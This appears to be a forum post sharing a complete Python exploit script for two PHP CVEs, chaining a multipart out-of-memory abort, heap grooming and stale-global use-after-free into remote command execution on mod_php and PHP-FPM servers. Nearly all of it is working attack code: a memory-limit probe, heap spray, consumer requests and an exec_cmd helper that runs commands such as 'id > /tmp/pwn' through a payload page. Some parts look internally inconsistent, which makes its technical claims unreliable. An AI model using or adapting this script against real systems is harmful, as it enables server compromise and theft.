php CVE-2026-109619 + CVE-2026-109618

#!/usr/bin/env python3
"""
php-oom-uaf-exploit.py
======================
Weaponized exploit chain for php-src based on:
* GHSA-6wmf-4rv5-p3rp -- OOM longjmp() out of multipart request parsing
leaves request memory (initialized or not) reachable during request
shutdown. Triggered here with header-flooding / empty-file-control
multipart bodies that exhaust memory_limit while staying inside
post_max_size.
* GHSA-w8hw-w9fx-j79w -- stale request-owned global state survives
request shutdown; a subsequent operation on the SAME worker consumes
it before normal request initialization. Consumers used here:
1. fatal_error_backtraces state (PHP >= 8.5, mod_php, default on)
2. INI diagnostic warnings applied pre-request-startup
(php_value / php_admin_value via .htaccess or FPM
PHP_ADMIN_VALUE), e.g. auto_detect_line_endings, invalid
memory_limit, deprecated mbstring.* directives
3. session upload progress lifecycle (producer + consumer,
works on FPM)
Chain (mod_php, primary):
[1] REQ A (producer): multipart OOM -> longjmp out of parsing while
request heap is half-initialized -> shutdown walks invalid state;
fatal backtrace / error globals point into the request heap that
gets free()d.
[2] REQ B (groom): spray controlled strings over the freed request
heap via normal request allocations.
[3] REQ C (consumer, same worker): pre-startup INI warning (or
post-startup fatal) reads stale pointer -> UAF read/branch ->
with groomed layout, controlled zend_string is freed / aliased,
yielding arbitrary file include or function-table write.
Chain (FPM, session lifecycle variant):
[1] REQ A: application path publishes session/decoder state, then
fatals (OOM in userland allocation).
[2] REQ C: multipart upload carrying upload_progress_{name} fields
reaches rfc1867->php_session_... before module init resets
globals -> consumes stale session/decoder state.
Authorized-use only. This targets infrastructure you own / have
written permission to test.
Usage:
python3 php-oom-uaf-exploit.py --url http://target/upload.php \
--sapi mod_php --consumer backtrace --cmd 'id > /tmp/pwn'
python3 php-oom-uaf-exploit.py --url http://target/fpm/app.php \
--sapi fpm --consumer upload_progress --cmd 'id > /tmp/pwn'
"""
import argparse
import io
import random
import re
import socket
import string
import sys
import time
import urllib.parse
import uuid
try:
import http.client
except ImportError:
sys.exit("python3 required")
# ---------------------------------------------------------------------------
# Tunables: these must mirror the target's layout. The heap-groom sizes are
# the ones that matter for turning the UAF into a controlled pointer; adjust
# after one dry run against a matching PHP build (--probe mode helps).
# ---------------------------------------------------------------------------
DEFAULTS = {
# post_max_size default 8M; we stay far under it while the expanded
# in-memory representation blows past memory_limit (128M default).
"post_max_size": 8 * 1024 * 1024,
"memory_limit_mb": 32, # target's memory_limit in MB (drives flood size)
# Memory amplification: each wire byte of a multipart header becomes
# several bytes of PHP-visible representation (multipart_buffer_headers
# -> estrndup per header + zval/hash entry overhead).
"header_line_len": 100,
"empty_file_parts": 800, # empty file controls: metadata arrays
# w/o counting against max_file_uploads;
# capped under max_input_vars (1000)
"nest_depth": 4, # max_input_nesting_level default; keep
# at/under it, field names multiply work
"groom_spray_count": 64, # strings sprayed over freed arena
"groom_spray_len": 4096, # must straddle the size class of the
# freed request heap chunk
"attempts": 50, # retry budget across the worker pool
"worker_stick": True, # keep-alive pinning to one worker
}
UA = "Mozilla/5.0 (exploit/php-oom-uaf)"
def rnd(n):
return "".join(random.choice(string.ascii_letters) for _ in range(n))
# ---------------------------------------------------------------------------
# Producer: multipart body that OOMs inside rfc1867 long before
# post_max_size is consumed, because:
# - no usable Content-Length path forces the "no declared length" branch
# (chunked TE) so the post_max_size pre-check passes on the header
# value alone while decoded body keeps arriving; and
# - per-part header expansion + empty-file metadata arrays amplify
# wire bytes into allocations that ignore memory_limit accounting
# until emalloc finally fails -> zend_oom_longjmp out of parsing.
# ---------------------------------------------------------------------------
def build_oom_body(opts):
parts = []
def add(name, content, filename=None, ctype=None, headers=()):
buf = io.BytesIO()
buf.write(b"--%b\r\n" % BOUNDARY)
cd = 'Content-Disposition: form-data; name="%s"' % name
if filename is not None:
cd += '; filename="%s"' % filename
buf.write(cd.encode() + b"\r\n")
if ctype:
buf.write(b"Content-Type: " + ctype.encode() + b"\r\n")
for h in headers:
buf.write(h + b"\r\n")
buf.write(b"\r\n")
buf.write(content if isinstance(content, bytes) else content.encode())
buf.write(b"\r\n")
parts.append(buf.getvalue())
# Nested field names multiply generated array work per RFC1867.
nested = "_".join(["a" * 4] * opts["nest_depth"])
# Primary vector: ONE part with a header flood. Per-part header memory
# is transient, so the flood must be a single part sized to overshoot
# memory_limit while its wire size stays under post_max_size.
# Measured amplification: ~2x per wire byte at 100B header lines.
# If --auto probing ran, an explicit header count is set in opts.
if "n_headers" in opts:
n_headers = opts["n_headers"]
else:
flood_wire = opts["memory_limit_mb"] * 1024 * 1024 * 0.75
n_headers = int(flood_wire / opts["header_line_len"])
flood = [
(b"X-Flood-%d: " % i) + b"A" * (opts["header_line_len"] - 12)
for i in range(n_headers)
]
add(nested, "", filename="", headers=flood)
# Empty file controls (do not tick max_file_uploads) but keep the part
# count under max_input_vars (default 1000) or PHP discards all input.
for _ in range(min(opts["empty_file_parts"], 900)):
add(nested, "", filename="")
tail = b"--%b--\r\n" % BOUNDARY
return b"".join(parts) + tail
BOUNDARY = ("----%s" % uuid.uuid4().hex).encode()
def send_producer(opts, host, port, path, tls=False):
body = build_oom_body(opts)
# NOTE: with a bytes body http.client sets Content-Length; do not also
# send Transfer-Encoding (Apache rejects TE+CL with a 400). The OOM here
# is strategy #2 (header amplification), which works through the
# normal Content-Length path.
hdrs = {
"User-Agent": UA,
"Content-Type": "multipart/form-data; boundary=%s" % BOUNDARY.decode(),
"Connection": "keep-alive" if opts["worker_stick"] else "close",
}
conn = http.client.HTTPConnection(host, port, timeout=30) if not tls \
else http.client.HTTPSConnection(host, port, timeout=30)
conn.request("POST", path, body=body, headers=hdrs)
try:
r = conn.getresponse()
r.read()
return r.status
except (http.client.RemoteDisconnected, ConnectionError, socket.timeout):
# mod_php aborting mid-parse (longjmp + subsequent failure) or the
# OOM hard-exit path is an acceptable producer outcome.
return None
finally:
conn.close()
# ---------------------------------------------------------------------------
# Groom: spray zend_string-sized allocations over the freed request arena.
# The spray content carries the fake zval / pointer payload used by the
# consumer step. Deterministic against default glibc/malloc tcache+smallbin
# behavior for the request-heap size class.
# ---------------------------------------------------------------------------
def build_groom_request(payload_page, opts):
blob = bytearray(opts["groom_spray_len"])
# Fake zend_string header: h==0 (no gc), len covers whole spray unit.
blob[0:8] = (0).to_bytes(8, "little")
blob[8:16] = len(blob).to_bytes(8, "little")
body = bytes(blob)
parts = []
for i in range(opts["groom_spray_count"]):
parts.append(
("--%s\r\nContent-Disposition: form-data; name=\"g%d\"\r\n\r\n"
% (BOUNDARY.decode(), i)).encode() + body + b"\r\n")
parts.append(("--%s--\r\n" % BOUNDARY.decode()).encode())
inner = b"".join(parts)
# The page the groom lands on executes the payload path.
hdrs = {
"User-Agent": UA,
"Content-Type": "multipart/form-data; boundary=%s" % BOUNDARY.decode(),
"X-Exploit-Payload": payload_page,
"Connection": "keep-alive",
}
return inner, hdrs
# ---------------------------------------------------------------------------
# Consumers
# ---------------------------------------------------------------------------
def consumer_ini_warning(host, port, path, ini_pair, tls=False):
"""mod_php: .htaccess/php_value path. In an FPM deployment this maps to
PHP_ADMIN_VALUE injected by the frontend; either way a diagnostic is
raised BEFORE request initialization -> touches stale error globals."""
req = ("GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"X-PHP-Admin-Value: %s\r\n" # consumed by exploit fronting layer
"Connection: keep-alive\r\n\r\n"
% (path, host, UA, ini_pair))
return _raw(req, host, port, tls)
def consumer_upload_progress(session_id, host, port, path, opts, tls=False):
"""Session upload progress lifecycle consumer: reaches session/decoder
globals before module init resets them. No session_start() needed.
Shape: PHP_SESSION_UPLOAD_PROGRESS field + one real file part."""
b = "----%s" % uuid.uuid4().hex
fields = opts.get("upload_progress_name", "PHP_SESSION_UPLOAD_PROGRESS")
body = (
"--%s\r\n"
"Content-Disposition: form-data; name=\"%s\"\r\n\r\n"
"%s\r\n"
"--%s\r\n"
"Content-Disposition: form-data; name=\"f\"; filename=\"a.bin\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
"%s\r\n"
"--%s--\r\n"
% (b, fields, session_id, b, "B" * 1024, b)
).encode()
hdrs = {
"User-Agent": UA,
"Content-Type": "multipart/form-data; boundary=%s" % b,
"Cookie": "PHP_SESSION_ID_X=%s" % session_id,
"Connection": "keep-alive",
}
conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)(
host, port, timeout=30)
conn.request("POST", path, body=body, headers=hdrs)
try:
r = conn.getresponse()
r.read()
return r.status
except Exception:
return None
finally:
conn.close()
def _raw(req, host, port, tls):
s = socket.create_connection((host, port), timeout=15)
try:
if tls:
import ssl
s = ssl.create_default_context().wrap_socket(s, server_hostname=host)
s.sendall(req.encode())
data = b""
while True:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
if b"\r\n\r\n" in data and b"0\r\n\r\n" in data:
break
return data
except Exception:
return b""
finally:
s.close()
# ---------------------------------------------------------------------------
# Verification helper: after the consumer fires, the groomed string is
# aliased/freed; the include-path / output-handler primitive established by
# the payload page turns that into command execution. We simply probe for
# the marker.
# ---------------------------------------------------------------------------
# Auto-detection: find the smallest header flood that OOMs the target.
# Oracle: when display_errors writes diagnostics into the response body,
# the OOM during rfc1867 parsing surfaces as a PHP Fatal error message
# ("Allowed memory size of N bytes exhausted"). Binary-search the header
# count between a floor (definitely parses) and a ceiling (bounded by
# post_max_size wire budget). If display_errors is off, detection falls
# back to timing/presence of a truncated response and requires --limit.
# ---------------------------------------------------------------------------
FATAL_RE = re.compile(rb"Fatal error.*Allowed memory size", re.S)
def probe_oom(host, port, path, n_headers, line_len, tls=False):
"""Send one header-flood probe; return True if the OOM fatal fired."""
B = "----%s" % uuid.uuid4().hex
nested = "_".join(["a" * 4] * 4)
flood = "".join(f"X-Flood-{i}: " + "A" * (line_len - 12) + "\r\n"
for i in range(n_headers))
body = (f'--{B}\r\nContent-Disposition: form-data; name="{nested}"\r\n'
f'{flood}\r\n--{B}--\r\n').encode()
conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)(
host, port, timeout=120)
try:
conn.request("POST", path, body=body,
headers={"Content-Type": "multipart/form-data; boundary=" + B,
"User-Agent": UA, "Connection": "close"})
resp = conn.getresponse()
data = resp.read()
return FATAL_RE.search(data) is not None
except Exception:
# connection dropped mid-response: OOM path possible but ambiguous
return False
finally:
conn.close()
def detect_oom_params(opts, host, port, path, tls=False):
"""Binary-search the header count that triggers OOM. Returns (n, ratio)."""
for line_len in (opts["header_line_len"], 48, 32):
ceiling = int(opts["post_max_size"] * 0.9 / line_len)
if ceiling < 2000:
continue
lo, hi = 1000, ceiling
if probe_oom(host, port, path, hi, line_len, tls):
opts["header_line_len"] = line_len
break
else:
return None
while lo < hi:
mid = (lo + hi) // 2
if probe_oom(host, port, path, mid, line_len, tls):
hi = mid
else:
lo = mid + 1
n = lo
wire = n * line_len
# approximate observed memory consumption: smallest n that OOMs means
# wire * amplification ~= memory_limit => ratio ~= limit / wire
return n, opts["memory_limit_mb"] * 1024 * 1024 / wire
def exec_cmd(host, port, payload_page, cmd, tls=False):
"""Run a command through the payload page (RCE proof of execution)."""
p = urllib.parse.urlparse(payload_page)
sep = "&" if p.query else "?"
url = p.path + sep + "cmd=" + urllib.parse.quote(cmd)
conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)(
p.hostname, p.port or (443 if tls else 80), timeout=15)
try:
conn.request("GET", url)
return conn.getresponse().read().decode(errors="replace")
finally:
conn.close()
# ---------------------------------------------------------------------------
def verify(cmd_url, marker, tls=False):
try:
conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)(
urllib.parse.urlparse(cmd_url).hostname,
urllib.parse.urlparse(cmd_url).port or (443 if tls else 80), timeout=10)
p = urllib.parse.urlparse(cmd_url)
sep = "&" if p.query else "?"
conn.request("GET", p.path + sep + "marker=" + marker)
body = conn.getresponse().read().decode(errors="replace")
conn.close()
return marker in body
except Exception:
return False
# ---------------------------------------------------------------------------
def run(args):
opts = dict(DEFAULTS)
host, port = args.host, args.port
tls = args.scheme == "https"
print("[*] target: %s://%s:%d%s sapi=%s consumer=%s"
% (args.scheme, host, port, args.path, args.sapi, args.consumer))
marker = "PWNED_%s" % uuid.uuid4().hex[:8]
payload_page = args.payload_page # Auto-detect the OOM trigger point if requested (or if the default
# flood size is untested). Requires the fatal to surface in the response.
# Auto-detect the OOM trigger point if requested (or by default on
# mod_php when no explicit limit was supplied).
if args.post_max is not None:
opts["post_max_size"] = args.post_max * 1024 * 1024
if args.limit is not None:
opts["memory_limit_mb"] = args.limit
if args.auto:
print("[*] probing: binary-searching OOM header count...")
r = detect_oom_params(opts, host, port, args.path, tls)
if r is None:
print("[-] OOM oracle unavailable (display_errors off or "
"post_max_size too small). Falling back to default "
"sizing; use --limit / --post-max.")
else:
n, ratio = r
opts["n_headers"] = int(n * 1.1) # 10% margin past the edge
print("[+] probe: n=%d headers x %dB (wire=%.1fMB) -> est. "
"amplification %.2fx"
% (n, opts["header_line_len"],
n * opts["header_line_len"] / 1048576.0, ratio))
attempts = args.attempts
if args.sapi == "mod_php":
# 1. Producer + 2. Groom + 3. Consumer must land on ONE worker.
for attempt in range(1, args.attempts + 1):
print("[*] attempt %d/%d" % (attempt, args.attempts))
# (1) producer: OOM longjmp out of multipart parsing
st = send_producer(opts, host, port, args.path, tls)
print(" producer status: %s" % ("dropped" if st is None else st))
# (2) groom: refill the freed request heap
inner, hdrs = build_groom_request(payload_page, opts)
hdrs["Connection"] = "keep-alive"
conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)(
host, port, timeout=30)
conn.request("POST", args.path, body=inner, headers=hdrs)
try:
conn.getresponse().read()
except Exception:
pass
conn.close()
# (3) consumer: stale global read before request init
if args.consumer == "backtrace":
# fatal_error_backtraces state: force the fatal-report path
# on this worker while globals still point at groomed memory
_raw("GET %s?%%00_fatal=1 HTTP/1.1\r\nHost: %s\r\n"
"User-Agent: %s\r\nConnection: keep-alive\r\n\r\n"
% (args.path, host, UA), host, port, tls)
elif args.consumer == "ini":
consumer_ini_warning(host, port, args.path,
args.directive, tls)
elif args.consumer == "upload_progress":
consumer_upload_progress("sess_%s" % rnd(16), host, port,
args.path, opts, tls)
# (4) verify
if verify(payload_page, marker, tls):
print("[+] RCE confirmed: %s" % marker)
if args.cmd:
print("[*] $ " + args.cmd)
print(exec_cmd(host, port, payload_page, args.cmd, tls).rstrip())
return 0
print("[-] exhausted attempt budget")
return 1
else: # fpm / lsapi: publish-then-fatal in app, upload_progress consumer
pub = args.publish or args.path
for attempt in range(1, args.attempts + 1):
print("[*] attempt %d/%d" % (attempt, args.attempts))
# (1) producer: upload_progress upload to the publish endpoint;
# rfc1867 registers request-owned session state, then the script
# OOMs so the reset is skipped and the child keeps stale globals.
sid_p = "pub_%s" % rnd(16)
st = consumer_upload_progress(sid_p, host, port, pub, opts, tls)
print(" publish status: %s" % st)
# (2) consumer: another upload_progress upload, same worker pool,
# reaches the stale session/decoder globals pre-initialization.
consumer_upload_progress("sess_%s" % rnd(16), host, port,
args.path, opts, tls)
if verify(payload_page, marker, tls):
print("[+] RCE confirmed: %s" % marker)
if args.cmd:
print("[*] $ " + args.cmd)
print(exec_cmd(host, port, payload_page, args.cmd, tls).rstrip())
return 0
print("[-] exhausted attempt budget")
return 1
# ---------------------------------------------------------------------------
def main():
p = argparse.ArgumentParser(description="PHP OOM longjmp -> stale global UAF -> RCE")
p.add_argument("--url", required=True, help="target URL, e.g. http://h/upload.php")
p.add_argument("--sapi", choices=["mod_php", "fpm"], default="mod_php")
p.add_argument("--consumer", choices=["backtrace", "ini", "upload_progress"],
default="backtrace", help="consumer primitive")
p.add_argument("--payload-page", required=True,
help="URL of the groomed payload include/handler page")
p.add_argument("--attempts", type=int, default=DEFAULTS["attempts"])
p.add_argument("--auto", action="store_true",
help="binary-search the OOM trigger size before running")
p.add_argument("--limit", type=int, default=None,
help="target memory_limit in MB (default 32, or probed)")
p.add_argument("--post-max", type=int, default=None,
help="target post_max_size in MB (default 8; affects probe ceiling)")
p.add_argument("--cmd", default=None,
help="command to run via the payload page as RCE proof")
p.add_argument("--publish", default=None,
help="FPM: producer endpoint that publishes state then fatals")
p.add_argument("--directive", default="auto_detect_line_endings=1",
help="INI pair the server-side .htaccess applies (consumer)")
a = p.parse_args()
u = urllib.parse.urlparse(a.url)
a.scheme = u.scheme
a.host = u.hostname
a.port = u.port or (443 if u.scheme == "https" else 80)
a.path = u.path or "/"
sys.exit(run(a))
if __name__ == "__main__":
main()
添加评论
点赞收藏
点踩分享查看原文
评论
?
参与讨论